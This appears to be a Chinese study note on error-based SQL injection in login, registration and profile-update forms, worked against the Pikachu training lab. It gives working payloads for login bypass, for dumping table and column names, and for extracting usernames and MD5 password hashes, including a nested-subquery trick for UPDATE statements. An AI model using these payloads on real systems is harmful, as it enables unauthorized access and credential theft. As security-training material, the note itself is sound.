insert/update 注入
关于登录、注册和修改信息的漏洞
登录页面
登录框注入最大的价值 —— 未授权访问。
登录页面的功能通常是: “如果查到了人,就让他登录;如果没查到,就报错。” 它不会把查到的用户名密码打印在屏幕上给你看。所以就不会有像之前字符型注入那样输入 -1' or '1'= '1' -- 那样有回显
但是如果登录界面有漏洞的话,就可以输入admin' or 1=1 # 或者类似的字样未授权访问。
注册界面:
用报错注入(Error-based SQLi)让数据库吐出数据。
第一步:
在注册时的用户框中输入kobe' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or ' 其他的随便填。 如果有错误回显那么说明就有漏洞,一般是返回数据库的名称,比如 XPATH syntax error: 'pikachu'
拆解命令 kobe' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or ' :
kobe' :闭合左边。后台 SQL 语句原本是 VALUES ('$username', ...)。输入 kobe',就变成了 VALUES ('kobe'', ...)。第一个单引号你闭合了。
updatexml(..., ..., ...) :核心炸弹。这是一个用于更新 XML 数据的函数。它有三个参数,其中第二个参数必须是合法的 XPath 格式(类似文件夹路径)。
concat(0x7e, database(), 0x7e) :制造非法路径。0x7e 是十六进制,转换成字符就是波浪号 ~ 。这个函数会拼出一个字符串:~pikachu~。关键点:XPath 路径里绝对不能出现 ~。所以数据库在处理到这一步时,会因为“路径不合法”而报错。
or ' :闭合右边。后台原本还有一个右单引号。加个 or ',拼起来就变成了 or ''。这样整句 SQL 语句在语法上是完美的,数据库才会去执行它。
第二步:
既然 database() 成功了,只需要按照之前的逻辑把 database() 替换掉即可。
爆表名 Payload:' or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1), 0x7e), 1) or '
updatexml 有一个限制,它一次只能报错显示一条数据。所以我们不能用 group_concat,而要用 limit 0,1 一条一条地看。
为什么要用 limit 0,1?
长度限制:updatexml 的报错信息长度有限(通常最多显示 32 个字符)。
无法打包:如果用 group_concat 把所有表名都查出来,报错窗口太小,根本塞不下,数据会被截断。
一个一个查:所以用 limit 0,1(看第 1 个表),然后改写成 limit 1,1(看第 2 个表),像翻书一样把表名一个个翻出来。
limit 0,1:从第 0 行开始,取 1 行(即第 1 张表)。看第三张表:limit 2,1
第三步
爆列名:确定账号、密码这两列到底叫什么(是 username 还是 user_name?)。
假设锁定的表名是 users。需要去 information_schema.columns 这个总表里查它的列名。
Payload:' or updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1), 0x7e), 1) or '
不断修改 limit 0,1、limit 1,1、limit 2,1。会依次爆出 user_id、first_name、last_name等。记住这些名字!
爆具体数据:锁定我们要的列,提取出第一个人、第二个人...的账号密码。
找到了列名(假设叫 user_id 和 password)之后,我们就可以直接去查 users 表了。
Payload (提取第 1 个用户的账号和密码):' or updatexml(1, concat(0x7e, (select p from (select concat(username, 0x3a, pw) as p from member limit 0,1) as t), 0x7e), 1) or ' 查看回显发现密码部分是一个乱码。这是MD5加密后的结果,所以得去解密。但是去解密的时候发现还是不对,因为md5加密是32位的,刚才的回显没有完全显示
处理长度限制:因为报错信息有长度限制,如果密码太长(如 MD5 加密),我们需要分段读取。
利用 substr() 函数分段读取。
先读前 16 位:' or updatexml(1, concat(0x7e, (select substr(password, 1, 16) from users limit 0,1), 0x7e), 1) or '
再读后 16 位:' or updatexml(1, concat(0x7e, (select substr(password, 17, 16) from users limit 0,1), 0x7e), 1) or '
解释substr(password, 17, 16):表示从第 17 个字符开始,读取16位字符。
最后拼接然后对md5解密就可以得到密码了:
e10adc3949ba59ab
be56e057f20f883e

最后就是要注意有时候拿到的账号和密码可能在登录界面登不上去,原因是因为爆破的表错了。登录页面校验的表不是这个表,比如我如果爆破的是users的表得到的账号是admin密码是123456,就进不去。所以就要尝试爆破其他的表,比如说member。
UPDATE 类型
介绍
价值在于可以借尸还魂(修改已有账号权限或偷取他人信息)。
在皮卡丘靶场里面,登录进去之后的“个人会员中心”页面后台的sql逻辑大概是这样的:UPDATE member SET sex='$sex', phonenum='$phone', address='$address', email='$email' WHERE username='$username';
注入点变多了:性别、手机、住址、邮箱,每一个输入框都可能是一个注入点。 在实战中,只要其中一个没做过滤,整张表就沦陷了。
注入思想还是和前面的一样,“投石问路”。
但是注意在payload其中一个框的时候,其他地方也要用数据填充,这样才会有错误回显。
和注册页面payload的区别
相同
如果只是想爆数据库名 (database()) 或者当前用户名 (user()),或者攻击另一张表(比如 users 表),那么 Payload 是完全通用的。
- 注册页面 (Insert) :
' or updatexml(1, concat(0x7e, database()), 1) or ' - 修改页面 (Update) :
' or updatexml(1, concat(0x7e, database()), 1) or '
结论: 只要不涉及“读自己改自己”,这两者代码一模一样。
不同
想要在修改页面去窃取 member 表(也就是当前这张表) 的数据时,情况就变了。
- 注册页面 (Insert) : 通常允许你在插入时查询
member表(检查重名等),所以直接查没问题。 - 修改页面 (Update) :绝对禁止! MySQL 有一个硬性规定:不能在 UPDATE 语句的 WHERE 子句或 SET 子句中,直接 SELECT 正在被 UPDATE 的那张表。
如果你在修改页面直接用注册页面的 Payload:' or updatexml(1, concat(0x7e, (select pw from member limit 0,1)), 1) or '
必定报错 You can't specify target table 'member' for update...。
为了绕过上面那个限制,我们在修改页面必须使用 “套娃战术” (双重子查询 + 别名) 。
修改页面的“万能”Payload:' or updatexml(1, concat(0x7e, (select p from (select concat(username,0x3a,pw) as p from member limit 0,1) as t), 0x7e), 1) or '
然后查找密码的时候(md5的前16位)如果直接用:' or updatexml(1, concat(0x7e, (select substr(pw, 1, 16) from member limit 0,1), 0x7e), 1) or ' 也会报错。
套娃:' or updatexml(1, concat(0x7e, (select p from (select substr(pw, 1, 16) as p from member limit 0,1) as t), 0x7e), 1) or '
substr(pw, 1, 16) : 从 pw 列(不是 password)截取前 16 位。
as p: 给截取出来的这段残缺密码起个小名叫 p。
from member limit 0,1: 从 member 表里取第一条数据。
as t: (关键!) 把上面查出来的结果打包成一张临时表,起名叫 t。
select p from (...) : 最后从临时表 t 里把小名 p 的数据取出来。
最后
在实战中,“猜列名”是很重要的一步。users 表常用 password/pwd,而 member 表可能用 pw/pass。如果报错提示 column not found,记得要去 information_schema.columns 里确认一下真正的列名。
Update 注入的危害不只是“偷” 。除了偷数据,Update 注入最可怕的直接后果是“破坏数据完整性” 。比如 Payload 构造失误,变成了 UPDATE member SET ... WHERE 1=1 ,可能会导致全站用户的密码被重置成一样的。所以在实战(尤其是生产环境)中测试 Update 注入要极其小心!